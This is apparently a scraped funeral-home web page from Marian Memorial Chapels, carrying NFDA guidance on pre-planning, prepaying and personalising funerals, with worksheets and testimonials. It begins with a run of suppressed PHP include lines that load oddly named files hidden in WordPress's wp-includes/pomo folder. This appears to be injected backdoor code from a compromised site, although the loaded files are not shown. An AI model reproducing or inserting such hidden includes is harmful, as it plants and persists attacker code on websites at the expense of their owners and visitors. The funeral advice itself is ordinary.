@include_once("wp-includes/pomo/wp-adjust-blog_vv1x01/wp-adjust-blog_vv1x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh5x01/wp-adjust-blog_vh5x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh5x01/wp-adjust-cache_vh5x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vv1x01/wp-adjust-cache_vv1x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh6x04/wp-adjust-blog_vh6x04.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh7x04/wp-adjust-blog_vh7x04.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh6x01/wp-adjust-cache_vh6x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh7x01/wp-adjust-cache_vh7x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh9x01/wp-adjust-blog_vh9x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh8x01/wp-adjust-cache_vh8x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh9x01/wp-adjust-cache_vh9x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pv3x02/wp-adjust-blog_pv3x02.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pv3x01/wp-adjust-cache_pv3x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pk2x01/wp-adjust-blog_pk2x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pk2x01/wp-adjust-cache_pk2x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pk3x01/wp-adjust-blog_pk3x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pk3x01/wp-adjust-cache_pk3x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pd1x02/wp-adjust-blog_pd1x02.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pd1x01/wp-adjust-cache_pd1x01.php"); Planning Your Funeral : Marian Memorial Chapels


Courtesy of National Funeral Directors Association (NFDA)


You plan for your first home, your child’s education, and your retirement.  Having and keeping an organized plan is helpful toward being prepared and living comfortably in the future.  More and more families are realizing this, as well as the benefits of planning their funerals ahead of time.

Many people often feel a little uneasy when they think about their own, or a loved one’s, funeral.  This is a normal reaction.  But pre-planning a funeral can offer a surprising degree of emotional, and sometimes even financial, security. It can also relieve your family of having to make important organizational and financial decisions during a period of stress and grief.  A pre-planned funeral gives your family peace of mind, knowing your funeral service was conducted according to your wishes.

“It’s been a very difficult time for our family… but I’m glad my wife and I pre-planned.  By having a funeral focusing around her passions in life, it was almost like she was here, saying goodbye to us.”

There are various ways you can plan a funeral.  Whether you choose to pre-plan, prearrange, or even prepay, make a decision that feels right.  Taking steps to being prepared provides a wide range of benefits for you and your family, including the ability to:

  • Make your funeral wishes known to your family and your funeral director/service specialist.
  • Educate yourself about the many decisions involved in planning a funeral.  Your choices are nearly limitless, and narrowing decisions ahead of time can help.
  • Take time to find the right funeral director/service specialist and funeral home.
  • Make arrangements when you and your loved ones have more time and a clearer perspective, rather than when you or your family is under stress.
  • Receive more input from your family, which is who a funeral is really for.  This also helps prevent disagreements about your wishes, giving your family a clear idea of the type of service you want.
  • Make adjustments when the time comes.  Life is full of change, and your loved ones may want to make a few adjustments later on that make the service even more meaningful.  For that reason, your plan should be flexible enough to accommodate new thoughts and considerations that arise as time passes.



The most important thing to remember in this process is that you should do what is right for you and your family. While pre-planning your funeral is the foundation for a variety of planning options, individuals also find prepaying to be advantageous, both personally and financially.

Prepaying helps to ensure that the financial responsibility for funeral costs is not placed on your family members.  Completing this in advance relieves survivors from paying for these costs.  If you are able to purchase a guaranteed-price contract, you may also save money because prices will be locked in at today’s rates, eliminating the effects of inflation.

If you feel prepaying is for you, be sure to go over all available options with your funeral director.  Remember, like any contract, ask any and all questions you may have regarding your plan before you sign an agreement.  Options for prepaying funeral arrangements may include:

  • A regulated trust that can be established by a licensed funeral director.
  • A life-insurance policy or an annuity that can be purchased, equal to the value of the funeral.
  • A savings or certificate of deposit account earmarked for funeral expenses.  The account can be designated as “payable on death” (POD) to the funeral home.

Each method has its advantages and varies from state to state.  To help determine which option is best for you, make sure to ask your funeral director the following questions:

  • What types of contracts does the funeral home offer?
  • Who receives the interest on the account?
  • Who must pay taxes on the interest?
  • Is the prepayment refundable, in part or in full?
  • Can the plan be transferred to a different funeral home of your choice?
  • What happens if the funeral home goes out of business or is sold?
  • How are the funds invested?
  • Is an irrevocable agreement right for me?

Once you’ve made your pre-arrangements, keep a copy of your plan and any pertinent paperwork in a safe place.  Do not put this information in your will because that document is read after the funeral.  Also, tell a close relative or friend what arrangements you’ve made and where the information may be found.



  • Choose a funeral director/service specialist who has a good reputation in the community.
  • Have at least one family member sit in during arrangements to help plan.
  • Make sure your plan is flexible enough to allow for alterations.
  • Make sure everything you talk about is put into writing.  Get copies for you and your family.



The following is a worksheet that you can fill out before meeting with a funeral director/service specialist.  It will help you collect your thoughts as you begin to pre-plan.  While you may find it difficult to think about this information, try to consider what will be best for you and your family.

  • Full name
  • Maiden name (if applicable)
  • Date and place of birth
  • Names of parents (address and phone number if living)
  • Social Security number
  • Name, address, and phone number of spouse
  • Names, addresses, and phone numbers of children
  • Names, addresses, and phone numbers of siblings
  • Names, addresses, and phone numbers of other relatives and friends to notify
  • Names and addresses of previous spouses (if applicable)
  • Names and addresses of present and previous employers
  • Veterans: Branch of service and outfit
  • Date and place of enlistment
  • Date and place of discharge
  • Commendations received
  • Location of discharge papers
  • Religious affiliation
  • Place of worship
  • Clergy or other person(s) you would like to officiate
  • Professional and fraternal organization memberships
  • Education (schools, dates attended, and degrees or honors received)
  • Newspapers obituaries
  • Other locations of obituaries
  • Organ donation (information from authorization card and person to be notified)
  • Funeral home and funeral director you prefer
  • Visitation instructions
  • Readings you prefer
  • Other preferences
  • Donations you would like to have made in your memory
  • Names, addresses, and phone numbers of casket bearers
  • Name, address, and location of cemetery property (include lot, grave number, marker, monument information, if prepaid)
  • Casket preference
  • Vault preference
  • If you wish to be cremated, include the location preference of final disposition



When you plan a funeral, you’re arranging a celebration of your life to present to the people that have had the greatest impact on you.  So whether you desire a traditional service or something a little different, there’s always room for personalization.  Your creativity can help provide a lasting impression for loved ones.  Remember, the goal is to celebrate a life, giving friends and loved ones a chance to reminisce and say goodbye.

Personal additions and tributes are a powerful way to bring an individual’s personality to the ceremony, providing a feeling of closeness for those attending.  A favorite song or CD, a small memento or a favorite poem or story told by a friend or family member can be very meaningful.  Themes such as fishing, baseball, embroidery, or a religious theme can also help family and friends reflect.  Other ideas include placing chairs in small, intimate clusters around the room or creating a small memorial such as planting a tree or making a contribution to a relevant charity.  Below are some ideas to assist you in planning a more personalized funeral.

Some of my fondest memories are… ____________________________________

Some of my most important accomplishments include… ____________________

My favorite music is… ______________________________________________

My hobbies and interests include… ____________________________________

Other things that give me enjoyment are… ______________________________

The causes and beliefs I am most passionate about are… ____________________

Special instructions I would like to include are… __________________________



When handled with the care and attention given to all of life’s plans, prearranged funerals can provide relief and peace of mind to your family, both now and in the future.  Pre-planning can also ensure a meaningful, memorable funeral service – one carefully created for a life worth celebrating.


“My husband and I felt a little uncomfortable discussing our funerals – especially since we had so much life left in front of us.  But afterward, it seemed like a weight had been lifted off our shoulders.  It was one less thing we and our children would have to worry about.”


Planning a Meaningful Funeral Service

Courtesy of National Funeral Directors Association (NFDA)



A funeral service that’s both meaningful and memorable should be as unique as the individual being celebrated.  It should be a ceremony, reflecting personal values, interests, and experiences – all the things that form the rich tapestry of a life worth celebrating.

Planning any funeral service, though, requires many decisions during a difficult and painful time.  You want to organize an event that honors and highlights your loved one’s life, which can be very challenging with the emotions and responsibilities that are presented during this time.

A funeral director can provide knowledge, high-quality service and the breadth of experience necessary to help you plan the best funeral possible.  He or she can be your greatest source of help, support, and direction as you sort through your options and begin to make plans.  While funeral directors are experienced in personally working with grieving families on a weekly basis, they’ll be able to provide information, advice, understanding and empathy at a time everyone needs a little guidance.

A meaningful funeral service is an essential life occasion that truly helps family and friends begin the healing process.  To assist your funeral director, there are steps you can take to create an event that will allow everyone to say goodbye – and to remember the life being celebrated.



As you begin planning for this unforgettable experience, let your loved one’s life be your guide.  To help you focus, here are some ideas that can make a world of difference in your service.

Personal effects and reminiscence – To begin personalizing a funeral, consider what was unique and memorable about your loved one.  Think about his or her special qualities, passions, hobbies, and pastimes.  Was your husband an amateur painter?  Consider holding a retrospective of his work.  Was your grandmother a teacher?  You may want to ask the school choir to perform at the service, or invite a former student to speak.  Your creativity will provide a lasting, honorable representation of your loved one.

Music – Music can be a powerful way to remember your loved one.  Today, many services feature a mix of religious and secular music played from a CD or even by a live musician.

Involve family and friends – While you might be somewhat reluctant to ask, family and friends may feel honored to get involved in your loved one’s funeral.  Your funeral director can help you create an interactive experience to help people who are grieving, especially children.

Speakers – Think about asking key individuals to contribute a remembrance, reading, poem, or favorite story.  Many times, such contributions can go a long way toward capturing the essence of your loved one.

Special touches – One way of making a ceremony more special is to create decorative touches such as candles, a special covering to drape over the casket or a photograph montage of the person whose life you are celebrating.  Consider placing chairs in a semicircle or in small, intimate clusters around the room.

Mementos or remembrances – Hand out a small keepsake as friends and family leave the funeral, something that will later bring your loved one to mind.

Memorials – Dedicating a memorial to your loved one is a wonderful way of honoring them.  Planting a tree or making a contribution to a relevant charity can create a lasting memory that will also benefit others.



This worksheet is designed to help you focus on your loved one’s life – and the impact he or she had on family and friends.  The suggestions will help you collect your thoughts and direct your planning efforts.

Some of my loved one’s most important accomplishments include…


Some of my fondest memories of him or her are…


People who had the greatest effect on my loved one’s life are…


My loved one’s favorite music is…


My loved one’s hobbies and interests include…


Other things that gave him or her enjoyment are…


The causes and beliefs my loved one was passionate about are…


If my loved one was planning this service, he or she would include…



“I’ll never stop grieving for my wife.  But, because we created a funeral that celebrated her life, I’m beginning to deal with the pain and learning to live with my loss.”



If you would like more information on planning a meaningful funeral service, call us anytime at Marian Memorial Chapels – (02) 645-1855 – and talk with the service specialist on duty.